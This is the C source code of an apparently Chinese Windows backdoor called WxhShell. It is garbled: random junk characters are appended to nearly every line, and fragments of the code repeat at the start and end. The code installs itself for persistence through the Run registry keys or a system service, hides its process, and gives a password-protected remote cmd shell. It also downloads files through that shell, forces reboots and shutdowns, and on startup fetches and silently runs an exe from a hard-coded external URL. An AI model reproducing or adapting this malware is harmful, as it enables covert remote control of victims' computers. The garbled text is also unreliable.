} Wl !!5\
N^Hn9n
if(!OsIsNt) { B)DC,+@$
// 如果时win9x，隐藏进程并且设置为注册表启动 zK>'tFU
HideProc(); w{r(F`
StartWxhshell(lpCmdLine); |.8d,!5w}
} (]}x[F9l
else [^U;
if(StartFromService()) 5"}y\
// 以服务方式启动 Pv7f _hw
StartServiceCtrlDispatcher(DispatchTable); ?+ -/';
else {V%%^Zhwy
// 普通方式启动 8tV=fSHd
StartWxhshell(lpCmdLine); T3G/v)ufd
#0?"J)
return 0; ~Q_)>|R2
} &N/|(<CB
V`g\ja*Y
$_ix6z
[GR|$/(z=
=========================================== uG=t?C6
V4`:Vci Aw
FI?gT
*or2
ot@|blVC8
'ZGT`'ri
" Ei{(
GhG%>U#&a
#include <stdio.h> MPKpS3VS
#include <string.h> vs\'1^*D
#include <windows.h> 7m|`tjQ1
#include <winsock2.h> $PatHY@h
#include <winsvc.h> 1P[I}GW#
#include <urlmon.h> "ibK1}-
Em~7D]Y
#pragma comment (lib, "Ws2_32.lib") Qb!!J4|!
#pragma comment (lib, "urlmon.lib") }b_R5U$@@
f$1Gu
#define MAX_USER 100 // 最大客户端连接数 WZ^{zFoZ
#define BUF_SOCK 200 // sock buffer t(J![wB}
#define KEY_BUFF 255 // 输入 buffer DO7-=74=
.mvB99P{<
#define REBOOT 0 // 重启 OLk9A
#define SHUTDOWN 1 // 关机 Y%78>-2L
0hrCG3k.91
#define DEF_PORT 5000 // 监听端口 cm@jt\D
Z"6 2#VM
#define REG_LEN 16 // 注册表键长度 "bD+/\ z
#define SVC_LEN 80 // NT服务名长度 [NHg&R H
p+orBw3
// 从dll定义API o2;(VSKhS
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +<pVf%u5
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M0cd-Dn
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =E&b=
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k0H?9Z4k5
J+{Ou rWt
// wxhshell配置信息 H"#)&a7
struct WSCFG { AI&qU/}
int ws_port; // 监听端口 GxYW4b
char ws_passstr[REG_LEN]; // 口令 ! G*&4V3Mg
int ws_autoins; // 安装标记, 1=yes 0=no 8<YX7e
char ws_regname[REG_LEN]; // 注册表键名 f"vk# 3
char ws_svcname[REG_LEN]; // 服务名 seu ~'s-
char ws_svcdisp[SVC_LEN]; // 服务显示名 YSqv86
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;c1relR2
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7sXy`+TZ->
int ws_downexe; // 下载执行标记, 1=yes 0=no (V$Zc0
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6XdWm
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6tOCZ'f
A/!<kp{S
}; p`d XqW
+C'XS{K,#
// default Wxhshell configuration I`22Zwq:
struct WSCFG wscfg={DEF_PORT, /r276Q
"xuhuanlingzhe", tC^ 1}
1, ):3MYSqX
"Wxhshell", (VR"Mi4
"Wxhshell", \,2gTi,=
"WxhShell Service", CK2B
"Wrsky Windows CmdShell Service", >L^xlm%7o
"Please Input Your Password: ", +fM&su=wl
1, 4avc=Y5
"http://www.wrsky.com/wxhshell.exe", E(_KN[}S
"Wxhshell.exe" #>=8w9]
}; Nu@5 kwH
GMz8B-vk
// 消息定义模块 bMsECA&
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b\:~;
char *msg_ws_prompt="\n\r? for help\n\r#>"; [q1Unm
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %4,xx'`
char *msg_ws_ext="\n\rExit."; YJd8l>mz
char *msg_ws_end="\n\rQuit."; \^9pW 2v
char *msg_ws_boot="\n\rReboot..."; w#&z]O9r
char *msg_ws_poff="\n\rShutdown..."; _5b0wdB
char *msg_ws_down="\n\rSave to "; 3E,DipHg
_wz2
char *msg_ws_err="\n\rErr!"; Z ] '>
char *msg_ws_ok="\n\rOK!"; }S*/b1
#F!Kxks
char ExeFile[MAX_PATH]; +Qs!Nhsq
int nUser = 0; Ad/($v5+
HANDLE handles[MAX_USER]; T6uMFD4 |
int OsIsNt; ox[ .)v
+%XnMl
SERVICE_STATUS serviceStatus; 96=Z"
SERVICE_STATUS_HANDLE hServiceStatusHandle; 9/@ &*
%G[/H.7s-
// 函数声明 XFQNr`
int Install(void); s)ky/ce
int Uninstall(void); I^G^J M!
int DownloadFile(char *sURL, SOCKET wsh); BqB|Fo
int Boot(int flag); n(>C'<otj
void HideProc(void); d;=u
int GetOsVer(void); ZVL gK}s
int Wxhshell(SOCKET wsl); qfYG.~`5
void TalkWithClient(void *cs); 2JZdw
int CmdShell(SOCKET sock); ?v4E<iXs
int StartFromService(void); NEVp8)w
int StartWxhshell(LPSTR lpCmdLine); vd (?$
@7W?8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N*_"8LIfi_
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3z3_7XI
514Z<omrK
// 数据结构和表定义 Uw)=WImz[
SERVICE_TABLE_ENTRY DispatchTable[] = DnFjEP^
{ 8z}^jTM
{wscfg.ws_svcname, NTServiceMain}, OCNPi4
{NULL, NULL} 8sg|MWSU
}; &RO7{,`
oa`#RC8N
// 自我安装 dZ]Rqr _!
int Install(void) 3vW4<:Lgy
{ {kL&Rv%'
char svExeFile[MAX_PATH]; "IFgRaP=
HKEY key; !^WHZv4
strcpy(svExeFile,ExeFile); YQd:M%$
6kR\xP]Kr
// 如果是win9x系统，修改注册表设为自启动 8(lR!!=q
if(!OsIsNt) { BzN@gQo
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #U ASH&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %tmp
RegCloseKey(key); 7-*=|gl+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y#HI;Y^RP
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ew$I\j*
RegCloseKey(key); ~L{l+jK$p
return 0; q \O Ou
} "2{%JFE
} O0huqF$K
} |"]PCb)!
else { M%`\P\A
~h)&&'a
// 如果是NT以上系统，安装为系统服务 =\3Tv
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sKL:p3r
if (schSCManager!=0) |+}G|hx@9
{ 314=1JbL
SC_HANDLE schService = CreateService wtH~-xSB|
( p|[B =.c{
schSCManager, }dYBces
wscfg.ws_svcname, GF$`BGW
wscfg.ws_svcdisp, BVpO#c~I
SERVICE_ALL_ACCESS, f_=~H<j!
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QHlU|dR)Ry
SERVICE_AUTO_START, V/%~F6e
SERVICE_ERROR_NORMAL, >:1P/U
svExeFile, UE"GJt`I
NULL, ,wAz^cK|
NULL, '0Q,
NULL, 'LSz f/w
NULL, j/!H$0PN
NULL A1i!F?X
); ]$b2a&r9
if (schService!=0) wvby?MhPY
{ ZH 6\><My
CloseServiceHandle(schService); kcuzB+
CloseServiceHandle(schSCManager); kG0Yh2;#
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \jU|(DE
strcat(svExeFile,wscfg.ws_svcname); 9KuD(EJS
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7'lZg<z{~j
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WyhhCR=;
RegCloseKey(key); Ond'R'3\E
return 0; s Be7"^
} OFU/gaO~
} EHf\L
CloseServiceHandle(schSCManager); Zu*K-ep"
} Cb;WZ3HR
} ~NcQ1.
Zyf P;&
return 1; c3TKl/
} <%?#AVU[
<n"C,
// 自我卸载 d^E [|w;
int Uninstall(void) 1fU,5+PH
{ 2}U!:bn(
HKEY key; qoMfSz"(
<@v]H@E
if(!OsIsNt) { }f}}A=
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9LC&6Q5O&
RegDeleteValue(key,wscfg.ws_regname); #'baPqdO
RegCloseKey(key); t+uE
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _QOZsEe
RegDeleteValue(key,wscfg.ws_regname); wf.T3
RegCloseKey(key); sBX-X$*N
return 0; ~wm;;#_O
} t<iEj"5
} s@4nWe
} *XOJnyC_H
else { ),:c+~@@kT
w*9br SK
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K$ }a8rH
if (schSCManager!=0) "UFs~S|e
{ qy1F*kY
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -_OS%ARa
if (schService!=0) HvwYm.$zE
{ /UcV
if(DeleteService(schService)!=0) { :nN1e
CloseServiceHandle(schService); ZFm`UXS
CloseServiceHandle(schSCManager); !|waK~jK
return 0; 9# 4Y1LS)
} uQ$^;Pr
CloseServiceHandle(schService); 'wasZ b<^
} DB526O* [
CloseServiceHandle(schSCManager); W<ZK,kv
} r;>+)**@vl
} u|#>32kV
( lm&*tKm
return 1; INs!Ame2
} LWoG4s?w
}kHdK vZ
// 从指定url下载文件 85:NFa@J
int DownloadFile(char *sURL, SOCKET wsh) 1F'1>Bu~
{ eK_*2=;XRW
HRESULT hr; 3f Xv4R;!:
char seps[]= "/"; Gc]~wD$
char *token; o{b=9-V
char *file; 8M*PML4r
char myURL[MAX_PATH]; -{XRA6
char myFILE[MAX_PATH]; YpAg
b+-f.!j
strcpy(myURL,sURL); MTER(L
token=strtok(myURL,seps); G0 J4O!3
while(token!=NULL) V3;.{0k
{ 5RH2"*8T
file=token; Pz#7h*;cw.
token=strtok(NULL,seps); ,21 np
} PP~rn fE
1(Y7mM8\
GetCurrentDirectory(MAX_PATH,myFILE); g[ 0<m#"
strcat(myFILE, "\\"); r=/;iH?UH
strcat(myFILE, file); @RFs/'
send(wsh,myFILE,strlen(myFILE),0); =p^He!
send(wsh,"...",3,0); ne61}F"E
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FsB^CxVg
if(hr==S_OK) UtB6V)YI
return 0; n,HE0Zn]Y_
else *%w69#D
return 1; (BxJryXm
P&d"V<
} > oA?6x
XoLJL]+?
// 系统电源模块 )k&a}u5y
int Boot(int flag) k:2QuG^
{ ]eQV,Vt
HANDLE hToken; IEjP<pLe
TOKEN_PRIVILEGES tkp; YCe7<3>J4
zf4Ec-)
if(OsIsNt) { KfBTL!0#
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &1l=X]%
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y={&5Mir
tkp.PrivilegeCount = 1; |py6pek|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ri`R<l8
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9!9Z~/*m
if(flag==REBOOT) { #po5_dE\*
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \Gm-MpW
return 0; 1Gt/Tq$_b
} AM"Nn L"
else { 2oa#0`{
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %N;!+ ;F_g
return 0; 1:NrP'W^
} 87}&`
} gH2,\z`[4
else { 6.5T/D*TT
if(flag==REBOOT) { /&u<TJ4
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tNsPB6Z
return 0; \;VhYvEH
} S[tE&[$(p
else { #-3=o6DCK
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hlu:=<B
return 0; 2<&Bw2
} 2,lqsd:xM
} rC:?l(8ng3
\BWykA>
return 1; w ;daC(:
} h8\ T
yCJFo
// win9x进程隐藏模块 v7%X@j]ji
void HideProc(void) kOvDl!^
{ .nYUL>
V{|}}b?w?
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nR4y`oP+
if ( hKernel != NULL ) Xtwun
{ 5XuT={o
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^QuiH'
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X7,PEA
FreeLibrary(hKernel); 9}B`uJ
} iK?b~Q
[2ax>Yk$
return; A2}Rl%+X]6
} 7_2kDDW0
)BfT7{WN
// 获取操作系统版本 #W.vX?-'0
int GetOsVer(void) tBTTCwNT%
{ +0),xu
OSVERSIONINFO winfo; lpH=2l$>?
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x8;`i$
GetVersionEx(&winfo); 9N%JP+<89
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !v]b(z`Y
return 1; ExHKw~y9
else 2<mW\$
return 0; H:p Z-v*
} .1 %T W)
c!8=lrT.
// 客户端句柄模块 56l@a{
int Wxhshell(SOCKET wsl) H3{GmV8
{ FgL,k
SOCKET wsh; e!fqXVEVR
struct sockaddr_in client; DF6c|
DWORD myID; (HoqR
fw oQ'&
while(nUser<MAX_USER) mAk{"65V
{ h;5LgAY|v
int nSize=sizeof(client); #d{=\$=
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bx[rC
if(wsh==INVALID_SOCKET) return 1; "U.^lkN
vpPl$ga5bY
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VL[)[~^
if(handles[nUser]==0) KRJLxNr
closesocket(wsh); )} DUMq7
else *&AfR8x_z
nUser++; s] /tYJYl
} 0?WcoPU
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o;b0m;~
RFh"&0[
return 0; E{HY!L[
} M5T9JWbN
g~UUP4<$"
// 关闭 socket xUF_1hY
void CloseIt(SOCKET wsh) +l^LlqA
{ I2(zxq&2M\
closesocket(wsh); BQ^H? jo
nUser--; s<x1>Q7X~
ExitThread(0); ?)'~~@NkH
} Hn,:`mj4-6
I *c;H I
// 客户端请求句柄 * y^OV_n-8
void TalkWithClient(void *cs) gBu1QviU
{ !~_zm*CqbZ
~f|Z%&l|
SOCKET wsh=(SOCKET)cs; D .vw8H3
char pwd[SVC_LEN]; lq.Te,Y%w
char cmd[KEY_BUFF]; <"o"z2
char chr[1]; ~_9"3,~o5
int i,j; P)dL?vkK
k\Q,h75
while (nUser < MAX_USER) { 79zJ\B_
2?@j~I=s2h
if(wscfg.ws_passstr) { ]E3U J!!
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OT %nrzP
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); # N~,F@t
//ZeroMemory(pwd,KEY_BUFF); W;?(,xx
i=0; WS& kx~oQ
while(i<SVC_LEN) { g%[n4
0"pVT%b
// 设置超时 7dihVvL $
fd_set FdRead; IB.yU,v
struct timeval TimeOut; $]aBe !
FD_ZERO(&FdRead); ^EVc95|Z
FD_SET(wsh,&FdRead); DOm[*1@^
TimeOut.tv_sec=8; CeT~p6=
TimeOut.tv_usec=0; Ql?^ B SqG
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o/[
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !BU)K'mj
#s5 pz8v
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;%J5=f%z)
pwd=chr[0]; 5p?!ni9
if(chr[0]==0xd || chr[0]==0xa) { 31Cq22"
pwd=0; X fz`^x>M
break; "rXOsX\;
} JM0I(%Z%
i++; ;D ~L|
} eX&Gw{U-f
%R_{1GrL'c
// 如果是非法用户，关闭 socket >=ot8%.!,B
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ L:cjY/
} yI:# |w|
]kktoP|D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pw>m.=9|y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eR']#Q46{T
QhGXBM
while(1) { 5/ecaAB2
y_F}s9wj
ZeroMemory(cmd,KEY_BUFF); <*'cf2Q$Av
M%Ku5X6:/
// 自动支持客户端 telnet标准 fF?6j
j=0; Ru%|}sfd
while(j<KEY_BUFF) { 2x$x; \*j
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WbjF]b\
cmd[j]=chr[0]; _|c&@M
if(chr[0]==0xa || chr[0]==0xd) { y93k_iq$S
cmd[j]=0; o|S)C<w
break; _rQUE^9
} 6=|&tE
j++; s(@h 2:j
} <SXZx9A!
H^c0Kh+
// 下载文件 vM0_>1nN
if(strstr(cmd,"http://")) { V: p)m&y6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ft5DU/%
if(DownloadFile(cmd,wsh)) =(U/CI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3VCqp13
else ;'kI/(;;C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2JO-0j.
} :uCdq`SaQl
else { #;j9}N
2/Nq'
switch(cmd[0]) { VZxTx0: ,
mVf.sA8
// 帮助 o\4t4}z~'f
case '?': { L4974E?S
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TL-i=\{L:d
break; (9.yOc4
} `q?RF+
// 安装 XCPb9<L
case 'i': { tP'GNsq+m
if(Install()) 04-Zvp2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ofCVbn
else Bhuw(KeB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8=H\?4)()Y
break; Z.jCera.
} ZJXqCo7O
// 卸载 qzdaN5
case 'r': { g5}7y\
if(Uninstall()) _Xh=&(/8@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HWtPLlNt
else &c^7O#j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EVz9WY
break; R7K
} ;/A}}B]y
// 显示 wxhshell 所在路径 Fzs>J&sY&
case 'p': { @ R'E?|
char svExeFile[MAX_PATH]; D0M!"c>\
strcpy(svExeFile,"\n\r"); wiV&xl
strcat(svExeFile,ExeFile); =YoTyq\
send(wsh,svExeFile,strlen(svExeFile),0); XARSGAuw
break; HWbBChDF
} )kA2vX^=Z
// 重启 # ITLz!gE
case 'b': { &!#2ZJ}{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;$6x=uZ
if(Boot(REBOOT)) r%[1$mTOR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<j<.h
else { G-8n
closesocket(wsh); e[p^p!a
ExitThread(0); ] zIfC>@R
} Ph"iX'J
break; GU#Q}L2
} ;_bq9x
// 关机 z (#Xca
case 'd': { Xa*?<(^`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fj3^ #ly
if(Boot(SHUTDOWN)) Jmy)J!ib*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r&/D~g\"|[
else { 3Pa3f >}-
closesocket(wsh); v['AB4
ExitThread(0); p}r yKW\cJ
} nO:HB.&@
break; QS%,7'EG
} e mC\i
// 获取shell W&LBh%"g
case 's': { A'b<?)Y7_
CmdShell(wsh); c}8 -/P=
closesocket(wsh); J;"nm3[.q
ExitThread(0); jUZ[`f;
break; `^`9{@~
} FcY$k%;'Q
// 退出 L:Ed-=|Uw
case 'x': { iPNd!_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MsSoX9A{D
CloseIt(wsh); .0KOnLdK
break; p0?o<AA%O
} "1\(ZKG8^Q
// 离开 V9gVn?O0
case 'q': { ,&4zKm
send(wsh,msg_ws_end,strlen(msg_ws_end),0); vB]3Xb3a
closesocket(wsh); 0yKwH\S
WSACleanup(); #<D@3ScC
exit(1); *di&%&f
break; c;nx59w]q
} 0>8ZN!@K
} m*OLoZVy
} 0LZ=`tI
WNl&v]
// 提示信息 ;}n|,g>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k`{RXx
} eR(\s_`
} aViJ
Bd/} %4V\@
return; ;,()wH
} \=$EmHF
ll 6]W~[ZC
// shell模块句柄 fpI;`s
int CmdShell(SOCKET sock) J~M H_N
{ Ks9FnDm8
STARTUPINFO si; 7AS.)Q#=x
ZeroMemory(&si,sizeof(si)); 6@*5!,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ce 7Yr*ZB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1kbT@
PROCESS_INFORMATION ProcessInfo; N`y}Gs
char cmdline[]="cmd"; &Bj,.dD/a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); />2A<{6\=P
return 0; *1 n;p)K
} Q$/V)0
~| 4U@
// 自身启动模式 a3b2nAIl
int StartFromService(void) pil0,r $D
{ H={O13
typedef struct !C9ps]6
{ !N@S^JD6
DWORD ExitStatus; 7F>gj
DWORD PebBaseAddress; yEMX`
DWORD AffinityMask; /k4^&
DWORD BasePriority; $.suu^>^w
ULONG UniqueProcessId; chvrHvByS
ULONG InheritedFromUniqueProcessId; oi33{#%t
} PROCESS_BASIC_INFORMATION; uW\@x4
bIvJs9L
PROCNTQSIP NtQueryInformationProcess; jsZiARTZRl
_QC?:mv6-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; se^NQ=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _mIa8K;
7eaA]y~H
HANDLE hProcess; 4Zv.[V]iOO
PROCESS_BASIC_INFORMATION pbi; INN/VDsJ
gQ[]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t1.zWe+C>3
if(NULL == hInst ) return 0; 9^#zxmH)
Mhu53DT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uMiD*6,$<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +SZ%&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i5L+8kx4
rzYobOKd#
if (!NtQueryInformationProcess) return 0; Z=e[ !c
yi AG'[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pQ[o3p!&9
if(!hProcess) return 0; 6ywnyh
LP0;n\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !R] CmK
&2P:A
CloseHandle(hProcess); RJ=c[nb
s&_IWala
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B4\:2hBq
if(hProcess==NULL) return 0; k vue@
_4XoUE\\
HMODULE hMod; 4cErk)F4
char procName[255]; ?C#F?N0
unsigned long cbNeeded; [#,X$O>
m"?'hR2
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l?yZtZ8
W=;(t
CloseHandle(hProcess); D 7;~x]*
v4,syd*3|V
if(strstr(procName,"services")) return 1; // 以服务启动 )=,9`+Zta
*'`3]!A
return 0; // 注册表启动 3 4A&LBwC
} 9+N._u
+*:x#$phx
// 主模块 om*tdG
int StartWxhshell(LPSTR lpCmdLine) L[QI 5N
{ 2'O!~8U
SOCKET wsl; 9rf|r 3
BOOL val=TRUE; l;][Q]Z@V
int port=0; 3' :[i2[
struct sockaddr_in door; v @I^:I
( F"& A?
if(wscfg.ws_autoins) Install(); gne#v
+hKPOFa'
port=atoi(lpCmdLine); (8m\#[T+R
pn_gq~5ng
if(port<=0) port=wscfg.ws_port; H/v37%p7
z}b U\3!
WSADATA data; Lct+cKKU
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1vR#FE?
I}g|n0o
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5x1jLPl'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x"C93ft[
door.sin_family = AF_INET; b#\kZ/W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~i_R%z:y
door.sin_port = htons(port); !i"9f_
Velbq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s$nfY.C
closesocket(wsl); <x%my4M
return 1; Q&U= jX
} \<MTY:
+IOKE\,Y
if(listen(wsl,2) == INVALID_SOCKET) { !f]3Riw-=,
closesocket(wsl); )V+Dqh,-g
return 1; 5-QvQ&eH.
} '$L= sH5
Wxhshell(wsl); FUTyx"
WSACleanup(); /*R' xBr
Nm:|C 3_I
return 0; ~pBxFA
1 FIiX
} ;;"c+
T?}=k{C]
// 以NT服务方式启动 A`8}J4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HIp {< M3
{ cB])A57<
DWORD status = 0; V{aIhH>P
DWORD specificError = 0xfffffff; 8'_ ]gfF
b!tZbX#
serviceStatus.dwServiceType = SERVICE_WIN32; u #QSa$P
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s].Cx4VQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6`$z*C2{
serviceStatus.dwWin32ExitCode = 0; !\|@{UJk/
serviceStatus.dwServiceSpecificExitCode = 0; bA9dbe
serviceStatus.dwCheckPoint = 0; N|#x9mE
serviceStatus.dwWaitHint = 0; E=U^T/
E":":AC#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /)<7$
if (hServiceStatusHandle==0) return; YwTtI ID%
6nk|*HPz
status = GetLastError(); _f2iz4
if (status!=NO_ERROR) kd2'-9
{ xx2:5
serviceStatus.dwCurrentState = SERVICE_STOPPED; K0!#l Br
serviceStatus.dwCheckPoint = 0; cngPc]?N
serviceStatus.dwWaitHint = 0; ;0}"2aGY
serviceStatus.dwWin32ExitCode = status; ea;c\84_N
serviceStatus.dwServiceSpecificExitCode = specificError; y]z#??
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z&G3&?Z
return; [8g\pPQ
} ,T>2zSk
+( 7vmC.
serviceStatus.dwCurrentState = SERVICE_RUNNING; w9?wy#YI
serviceStatus.dwCheckPoint = 0; leqSS}KU+
serviceStatus.dwWaitHint = 0; /|^^v DL
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :z5Ibas:
} GnHf9 JrR
6B P%&RL
// 处理NT服务事件，比如：启动、停止 .TU15AAc
VOID WINAPI NTServiceHandler(DWORD fdwControl) X~VZ61vNu
{ 24k}~"We
switch(fdwControl) TgG)btQ
{ pNme jz:
case SERVICE_CONTROL_STOP: -PuVI5L<
serviceStatus.dwWin32ExitCode = 0; E*]L]vR
serviceStatus.dwCurrentState = SERVICE_STOPPED; xg!\C@$
serviceStatus.dwCheckPoint = 0; ]@ 0V
serviceStatus.dwWaitHint = 0; i; uM!d}
{ +K4v"7C V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( I~XwP&
} V^H47O;VC
return; `l@t3/
case SERVICE_CONTROL_PAUSE: 4y)1*VU:
serviceStatus.dwCurrentState = SERVICE_PAUSED; Hd}t=6
break; ,$*klod
case SERVICE_CONTROL_CONTINUE: )CU(~s|s
serviceStatus.dwCurrentState = SERVICE_RUNNING; a.ME{:a%
break; M#IR=|P]
case SERVICE_CONTROL_INTERROGATE: x?$Y<=vT
break; :njUaMFoMA
}; l)eaIOyk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g9`ytWmM
} XX+rf
Msdwv.jM
// 标准应用程序主函数 ,*#M%Pv1t
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U;Wmx
{ P,], N)
*gKr1}M
// 获取操作系统版本 =swcmab;
OsIsNt=GetOsVer(); l0,O4k2'
GetModuleFileName(NULL,ExeFile,MAX_PATH); MYm6C;o$
;#Nci%<J\
// 从命令行安装 |8rJqtf +&
if(strpbrk(lpCmdLine,"iI")) Install(); L32ki}2
Gj0NN:
// 下载执行文件 u-<s@^YG
if(wscfg.ws_downexe) { a_x6 v*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a&PZ7!PZv
WinExec(wscfg.ws_filenam,SW_HIDE); mI18A#[ 3
} (/BkwbJyE
k#M W>
if(!OsIsNt) { T9.gs}B0
// 如果时win9x，隐藏进程并且设置为注册表启动 1 ErYob.p
HideProc(); WNi<|A#T{
StartWxhshell(lpCmdLine); Ved:w^ ,
} Rx<F^J
else G 0 yt%qHE
if(StartFromService()) gA*zFhGVS7
// 以服务方式启动 w[_Uv4M
